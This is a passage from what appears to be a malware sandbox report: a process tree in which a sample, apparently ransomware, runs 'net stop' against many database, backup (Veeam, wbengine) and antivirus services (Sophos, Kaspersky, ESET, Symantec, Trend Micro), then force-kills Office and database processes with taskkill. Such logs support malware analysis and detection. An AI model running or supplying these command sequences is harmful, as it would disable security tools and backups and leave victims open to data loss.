    3⤵
    PID:2252
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ PRACTTICEBGC /y
  2⤵
  PID:2260
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
    3⤵
    PID:2280
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ PROFXENGAGEMENT /y
  2⤵
  PID:2288
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
    3⤵
    PID:2308
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ SBSMONITORING /y
  2⤵
  PID:2316
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
    3⤵
    PID:2336
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ SHAREPOINT /y
  2⤵
  PID:2344
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
    3⤵
    PID:2364
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ SQL_2008 /y
  2⤵
  PID:2372
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
    3⤵
    PID:2392
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ SYSTEM_BGC /y
  2⤵
  PID:2400
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
    3⤵
    PID:2420
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ TPS /y
  2⤵
  PID:2428
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ TPS /y
    3⤵
    PID:2448
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ TPSAMA /y
  2⤵
  PID:2456
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
    3⤵
    PID:2476
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ VEEAMSQL2008R2 /y
  2⤵
  PID:2484
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
    3⤵
    PID:2504
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ VEEAMSQL2012 /y
  2⤵
  PID:2512
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
    3⤵
    PID:2532
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher /y
  2⤵
  PID:2540
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher /y
    3⤵
    PID:2560
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
  2⤵
  PID:2568
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
    3⤵
    PID:2588
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher $ SBSMONITORING /y
  2⤵
  PID:2596
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
    3⤵
    PID:2616
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher $ SHAREPOINT /y
  2⤵
  PID:2624
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
    3⤵
    PID:2644
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher $ SQL_2008 /y
  2⤵
  PID:2652
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
    3⤵
    PID:2672
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher $ SYSTEM_BGC /y
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
    3⤵
    PID:2700
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher $ TPS /y
  2⤵
  PID:2708
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
    3⤵
    PID:2728
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLFDLauncher $ TPSAMA /y
  2⤵
  PID:2736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
    3⤵
    PID:2756
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLSERVER /y
  2⤵
  PID:2764
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLSERVER /y
    3⤵
    PID:2784
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLServerADHelper100 /y
  2⤵
  PID:2792
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3⤵
    PID:2812
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLServerOLAPService /y
  2⤵
  PID:2820
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
    3⤵
    PID:2840
- C:\Windows\SysWOW64\net.exe
  net stop MySQL80 /y
  2⤵
  PID:2848
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MySQL80 /y
    3⤵
    PID:2868
- C:\Windows\SysWOW64\net.exe
  net stop MySQL57 /y
  2⤵
  PID:2876
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MySQL57 /y
    3⤵
    PID:2896
- C:\Windows\SysWOW64\net.exe
  net stop ntrtscan /y
  2⤵
  PID:2904
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ntrtscan /y
    3⤵
    PID:2924
- C:\Windows\SysWOW64\net.exe
  net stop OracleClientCache80 /y
  2⤵
  PID:2932
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop OracleClientCache80 /y
    3⤵
    PID:2952
- C:\Windows\SysWOW64\net.exe
  net stop PDVFSService /y
  2⤵
  PID:2960
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2980
- C:\Windows\SysWOW64\net.exe
  net stop POP3SVC /y
  2⤵
  PID:2988
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop POP3SVC /y
    3⤵
    PID:3008
- C:\Windows\SysWOW64\net.exe
  net stop ReportServer /y
  2⤵
  PID:3016
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ReportServer /y
    3⤵
    PID:3036
- C:\Windows\SysWOW64\net.exe
  net stop ReportServer $ SQL_2008 /y
  2⤵
  PID:3044
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
    3⤵
    PID:3064
- C:\Windows\SysWOW64\net.exe
  net stop ReportServer $ SYSTEM_BGC /y
  2⤵
  PID:940
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
    3⤵
    PID:2076
- C:\Windows\SysWOW64\net.exe
  net stop ReportServer $ TPS /y
  2⤵
  PID:2084
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ReportServer $ TPS /y
    3⤵
    PID:2112
- C:\Windows\SysWOW64\net.exe
  net stop ReportServer $ TPSAMA /y
  2⤵
  PID:2100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
    3⤵
    PID:2128
- C:\Windows\SysWOW64\net.exe
  net stop RESVC /y
  2⤵
  PID:2172
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RESVC /y
    3⤵
    PID:2200
- C:\Windows\SysWOW64\net.exe
  net stop sacsvr /y
  2⤵
  PID:2192
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sacsvr /y
    3⤵
    PID:2220
- C:\Windows\SysWOW64\net.exe
  net stop SamSs /y
  2⤵
  PID:2244
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SamSs /y
    3⤵
    PID:2272
- C:\Windows\SysWOW64\net.exe
  net stop SAVAdminService /y
  2⤵
  PID:2280
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SAVAdminService /y
    3⤵
    PID:2308
- C:\Windows\SysWOW64\net.exe
  net stop CABService /y
  2⤵
  PID:2296
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CABService /y
    3⤵
    PID:2324
- C:\Windows\SysWOW64\net.exe
  net stop SDRSVC /y
  2⤵
  PID:2368
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SDRSVC /y
    3⤵
    PID:2396
- C:\Windows\SysWOW64\net.exe
  net stop SepMasterService /y
  2⤵
  PID:2388
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SepMasterService /y
    3⤵
    PID:2416
- C:\Windows\SysWOW64\net.exe
  net stop ShMonitor /y
  2⤵
  PID:2440
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ShMonitor /y
    3⤵
    PID:2468
- C:\Windows\SysWOW64\net.exe
  net stop Smcinst /y
  2⤵
  PID:2476
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Smcinst /y
    3⤵
    PID:2504
- C:\Windows\SysWOW64\net.exe
  net stop SmcService /y
  2⤵
  PID:2492
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SmcService /y
    3⤵
    PID:2520
- C:\Windows\SysWOW64\net.exe
  net stop SMTPSVC /y
  2⤵
  PID:2564
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SMTPSVC /y
    3⤵
    PID:2592
- C:\Windows\SysWOW64\net.exe
  net stop SNAC /y
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SNAC /y
    3⤵
    PID:2612
- C:\Windows\SysWOW64\net.exe
  net stop SntpService /y
  2⤵
  PID:2636
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SntpService /y
    3⤵
    PID:2664
- C:\Windows\SysWOW64\net.exe
  net stop sophossps /y
  2⤵
  PID:2672
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophossps /y
    3⤵
    PID:2700
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ BKUPEXEC /y
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
    3⤵
    PID:2716
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ ECWDB2 /y
  2⤵
  PID:2760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
    3⤵
    PID:2788
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ PRACTTICEBGC /y
  2⤵
  PID:2780
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
    3⤵
    PID:2808
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ PRACTTICEMGT /y
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
    3⤵
    PID:2860
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ PROFXENGAGEMENT /y
  2⤵
  PID:2868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
    3⤵
    PID:2896
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ SBSMONITORING /y
  2⤵
  PID:2884
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y
    3⤵
    PID:2912
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ SHAREPOINT /y
  2⤵
  PID:2956
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y
    3⤵
    PID:2984
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ SQL_2008 /y
  2⤵
  PID:2976
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y
    3⤵
    PID:3004
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ SYSTEM_BGC /y
  2⤵
  PID:3028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y
    3⤵
    PID:3056
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ TPS /y
  2⤵
  PID:3064
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ TPS /y
    3⤵
    PID:2076
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ TPSAMA /y
  2⤵
  PID:2056
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y
    3⤵
    PID:2072
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ VEEAMSQL2008R2 /y
  2⤵
  PID:2160
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
    3⤵
    PID:2196
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ VEEAMSQL2012 /y
  2⤵
  PID:2188
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y
    3⤵
    PID:2224
- C:\Windows\SysWOW64\net.exe
  net stop SQLBrowser /y
  2⤵
  PID:2248
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLBrowser /y
    3⤵
    PID:2300
- C:\Windows\SysWOW64\net.exe
  net stop SQLSafeOLRService /y
  2⤵
  PID:2308
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLSafeOLRService /y
    3⤵
    PID:2324
- C:\Windows\SysWOW64\net.exe
  net stop SQLSERVERAGENT /y
  2⤵
  PID:2340
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLSERVERAGENT /y
    3⤵
    PID:2360
- C:\Windows\SysWOW64\net.exe
  net stop SQLTELEMETRY /y
  2⤵
  PID:2408
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLTELEMETRY /y
    3⤵
    PID:2480
- C:\Windows\SysWOW64\net.exe
  net stop SQLTELEMETRY $ ECWDB2 /y
  2⤵
  PID:2436
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y
    3⤵
    PID:2508
- C:\Windows\SysWOW64\net.exe
  net stop SQLWriter /y
  2⤵
  PID:2532
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLWriter /y
    3⤵
    PID:2548
- C:\Windows\SysWOW64\net.exe
  net stop SstpSvc /y
  2⤵
  PID:2592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SstpSvc /y
    3⤵
    PID:2612
- C:\Windows\SysWOW64\net.exe
  net stop svcGenericHost /y
  2⤵
  PID:2608
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop svcGenericHost /y
    3⤵
    PID:2644
- C:\Windows\SysWOW64\net.exe
  net stop swi_filter /y
  2⤵
  PID:2696
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop swi_filter /y
    3⤵
    PID:2748
- C:\Windows\SysWOW64\net.exe
  net stop swi_service /y
  2⤵
  PID:2724
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop swi_service /y
    3⤵
    PID:2776
- C:\Windows\SysWOW64\net.exe
  net stop swi_update_64 /y
  2⤵
  PID:2816
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop swi_update_64 /y
    3⤵
    PID:2836
- C:\Windows\SysWOW64\net.exe
  net stop TmCCSF /y
  2⤵
  PID:2860
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop TmCCSF /y
    3⤵
    PID:2896
- C:\Windows\SysWOW64\net.exe
  net stop tmlisten /y
  2⤵
  PID:2856
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop tmlisten /y
    3⤵
    PID:2928
- C:\Windows\SysWOW64\net.exe
  net stop TrueKey /y
  2⤵
  PID:2980
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop TrueKey /y
    3⤵
    PID:2996
- C:\Windows\SysWOW64\net.exe
  net stop TrueKeyScheduler /y
  2⤵
  PID:3008
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop TrueKeyScheduler /y
    3⤵
    PID:3024
- C:\Windows\SysWOW64\net.exe
  net stop TrueKeyServiceHelper /y
  2⤵
  PID:2052
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
    3⤵
    PID:2112
- C:\Windows\SysWOW64\net.exe
  net stop UI0Detect /y
  2⤵
  PID:2072
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop UI0Detect /y
    3⤵
    PID:2196
- C:\Windows\SysWOW64\net.exe
  net stop VeeamBackupSvc /y
  2⤵
  PID:2136
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamBackupSvc /y
    3⤵
    PID:2228
- C:\Windows\SysWOW64\net.exe
  net stop VeeamBrokerSvc /y
  2⤵
  PID:2304
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamBrokerSvc /y
    3⤵
    PID:2332
- C:\Windows\SysWOW64\net.exe
  net stop VeeamCatalogSvc /y
  2⤵
  PID:2356
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamCatalogSvc /y
    3⤵
    PID:2384
- C:\Windows\SysWOW64\net.exe
  net stop VeeamCloudSvc /y
  2⤵
  PID:2412
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamCloudSvc /y
    3⤵
    PID:2500
- C:\Windows\SysWOW64\net.exe
  net stop VeeamDeploymentService /y
  2⤵
  PID:2508
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2548
- C:\Windows\SysWOW64\net.exe
  net stop VeeamDeploySvc /y
  2⤵
  PID:2520
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploySvc /y
    3⤵
    PID:2556
- C:\Windows\SysWOW64\net.exe
  net stop VeeamEnterpriseManagerSvc /y
  2⤵
  PID:2692
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
    3⤵
    PID:2716
- C:\Windows\SysWOW64\net.exe
  net stop VeeamMountSvc /y
  2⤵
  PID:2728
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamMountSvc /y
    3⤵
    PID:2788
- C:\Windows\SysWOW64\net.exe
  net stop VeeamNFSSvc /y
  2⤵
  PID:2812
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2888
- C:\Windows\SysWOW64\net.exe
  net stop VeeamRESTSvc /y
  2⤵
  PID:2896
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamRESTSvc /y
    3⤵
    PID:2928
- C:\Windows\SysWOW64\net.exe
  net stop VeeamTransportSvc /y
  2⤵
  PID:2944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2972
- C:\Windows\SysWOW64\net.exe
  net stop W3svc /y
  2⤵
  PID:3036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop W3svc /y
    3⤵
    PID:2140
- C:\Windows\SysWOW64\net.exe
  net stop wbengine /y
  2⤵
  PID:3052
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop wbengine /y
    3⤵
    PID:2200
- C:\Windows\SysWOW64\net.exe
  net stop WRSVC /y
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop WRSVC /y
    3⤵
    PID:2272
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ VEEAMSQL2008R2 /y
  2⤵
  PID:2332
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
    3⤵
    PID:2384
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ VEEAMSQL2008R2 /y
  2⤵
  PID:2396
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
    3⤵
    PID:2480
- C:\Windows\SysWOW64\net.exe
  net stop VeeamHvIntegrationSvc /y
  2⤵
  PID:2536
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
    3⤵
    PID:2664
- C:\Windows\SysWOW64\net.exe
  net stop swi_update /y
  2⤵
  PID:2604
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop swi_update /y
    3⤵
    PID:2660
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ CXDB /y
  2⤵
  PID:2752
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ CXDB /y
    3⤵
    PID:2804
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ CITRIX_METAFRAME /y
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y
    3⤵
    PID:2928
- C:\Windows\SysWOW64\net.exe
  net stop SQL /y
  2⤵
  PID:2840
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQL /y
    3⤵
    PID:3004
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ PROD /y
  2⤵
  PID:2112
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ PROD /y
    3⤵
    PID:2108
- C:\Windows\SysWOW64\net.exe
  net stop Zoolz 2 Service /y
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Zoolz 2 Service /y
    3⤵
    PID:2216
- C:\Windows\SysWOW64\net.exe
  net stop MSSQLServerADHelper /y
  2⤵
  PID:2424
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper /y
    3⤵
    PID:2500
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ PROD /y
  2⤵
  PID:2480
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ PROD /y
    3⤵
    PID:2664
- C:\Windows\SysWOW64\net.exe
  net stop msftesql $ PROD /y
  2⤵
  PID:2588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msftesql $ PROD /y
    3⤵
    PID:2676
- C:\Windows\SysWOW64\net.exe
  net stop NetMsmqActivator /y
  2⤵
  PID:2900
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetMsmqActivator /y
    3⤵
    PID:2940
- C:\Windows\SysWOW64\net.exe
  net stop EhttpSrv /y
  2⤵
  PID:2920
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop EhttpSrv /y
    3⤵
    PID:3012
- C:\Windows\SysWOW64\net.exe
  net stop ekrn /y
  2⤵
  PID:3056
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ekrn /y
    3⤵
    PID:2324
- C:\Windows\SysWOW64\net.exe
  net stop ESHASRV /y
  2⤵
  PID:2216
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ESHASRV /y
    3⤵
    PID:2500
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ SOPHOS /y
  2⤵
  PID:2384
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ SOPHOS /y
    3⤵
    PID:2464
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent $ SOPHOS /y
  2⤵
  PID:2776
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y
    3⤵
    PID:2928
- C:\Windows\SysWOW64\net.exe
  net stop AVP /y
  2⤵
  PID:2912
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AVP /y
    3⤵
    PID:3004
- C:\Windows\SysWOW64\net.exe
  net stop klnagent /y
  2⤵
  PID:2156
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop klnagent /y
    3⤵
    PID:2392
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ SQLEXPRESS /y
  2⤵
  PID:2500
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y
    3⤵
    PID:2464
- C:\Windows\SysWOW64\net.exe
  net stop SQLAgent /y
  2⤵
  PID:2612
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent /y
    3⤵
    PID:2716
- C:\Windows\SysWOW64\net.exe
  net stop SQLEXPRESS /y
  2⤵
  PID:2972
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLEXPRESS /y
    3⤵
    PID:2252
- C:\Windows\SysWOW64\net.exe
  net stop wbengine /y
  2⤵
  PID:2108
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop wbengine /y
    3⤵
    PID:2660
- C:\Windows\SysWOW64\net.exe
  net stop kavfsslp /y
  2⤵
  PID:2928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop kavfsslp /y
    3⤵
    PID:3032
- C:\Windows\SysWOW64\net.exe
  net stop KAVFSGT /y
  2⤵
  PID:2252
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop KAVFSGT /y
    3⤵
    PID:2660
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im zoolz.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:2664
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im agntsvc.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:2556
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im dbeng50.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:2940
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im dbsnmp.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3032
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im encsvc.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3012
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im excel.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3088
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im firefoxconfig.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3112
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im Infopath.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3136
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im isqlplussvc.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3160
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im msaccess.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3184
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im msftesql.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3208
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im mspub.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3232
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im mydesktopqos.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3256
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im mydesktopservice.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3280
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im mysqld.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3304
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im mysqld-nt.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3332
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im mysqld-opt.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3356
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im ocautoupds.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3380
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im ocomm.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3404
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im ocssd.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3428
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im onenote.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3452
